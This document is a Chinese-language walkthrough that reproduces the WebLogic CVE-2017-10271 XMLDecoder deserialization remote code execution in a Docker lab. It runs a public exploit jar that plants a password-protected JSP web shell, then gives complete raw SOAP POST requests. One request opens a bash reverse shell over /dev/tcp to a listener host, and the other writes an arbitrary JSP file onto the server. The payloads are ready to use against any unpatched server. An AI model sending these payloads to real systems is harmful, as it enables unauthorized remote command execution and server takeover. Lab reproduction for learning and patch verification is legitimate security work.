CVE-2017-10271(Weblogic wls-wsat XMLDecoder 反序列化漏洞)

受影响WebLogic版本：
10.3.6.0.0，
12.1.3.0.0，
12.2.1.1.0，
12.2.1.2.0。

一、环境搭建

还是docker

docker-compose up -d

我们先访问这个环境：your-ip:7001，发现是404，这个时候weblogic就已经搭好了。

二、复现攻击

1、工具准备

https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271
这个上面这个漏洞很好用的工具

WebLogic_Wls-Wsat_RCE_Exp.jar是漏洞利用程序，另一个jar是漏洞证明扫描程序，可以批量扫描。

2、开始攻击

1）漏洞证明

 //url.txt存放网址，格式为http://192.168.1.131:7001
java -jar "WebLogic-Wls-wsat-XMLDecoder(批量扫).jar" -f url.txt       

[*]   待检测 1 个
[*] 超时时间 6 秒

[16:42:37] [+] 漏洞存在 http://192.168.1.131:7001//wls-wsat/test.logs

[*] 检测完成

2）漏洞利用

//只执行java -jar WebLogic_Wls-Wsat_RCE_Exp.jar可以看到提示用法
[*]              Oracle : WebLogic wls-wsat RCE Exp

[*]              CVE ID : CVE-2017-3506 & CVE-2017-10271

[*]  Vulnerability info : https://secfree.com/article-635.html

[*]              Author : Bearcat@secfree.com

[*]  Vulnerability page ：wls-wsat/CoordinatorPortType & wls-wsat/CoordinatorPortType11

[*]               Usage ：java -jar WebLogic_Wls-Wsat_RCE_Exp.jar http://xxx.xxx.xxx.xxx:7001 test.jsp

[*] Vulnerability patch : http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

//然后按照用法执行命令
java -jar WebLogic_Wls-Wsat_RCE_Exp.jar http://192.168.1.131:7001  exe.jsp

[*] Starting exploit...
[*] Sending payloads...
[*] Payloads sent...
[*] Opening shell...
[*] pwned! Go ahead...

[+] http://192.168.1.131:7001/bea_wls_internal/exe.jsp?password=secfree&command=whoami

说明一下，exe.jsp在目标上是不存在的，我们执行命令的时候会给我们创建一个可以执行命令的脚本，也就是最下面的

http://192.168.1.131:7001/bea_wls_internal/exe.jsp?password=secfree&command=whoami

然后我们可以通过传递command参数来执行命令。

三、数据包式的攻击

上面使用工具的方法很简便，但是通过command传参来执行的命令有限，而发送数据包这种方式在反弹shell或其他命令上也是值得一试的。

反弹shell

就在http://your-ip:7001这个404的页面刷新一下，用Burp抓包，然后把包改成类似下面这样：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.1.131/1234 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

需要注意的是POST后面的目录/wls-wsat/CoordinatorPortType，然后就是请求内容里反弹shell这里的符号进行了变换代替。

执行个nc -lvvp 1234，然后发包就可以拿到弹的shell了。

2、写文件

和上面一样抓包，然后改成下面这样

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> 
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp这个是写的文件，<% out.print(“test”); %>是写的文件内容。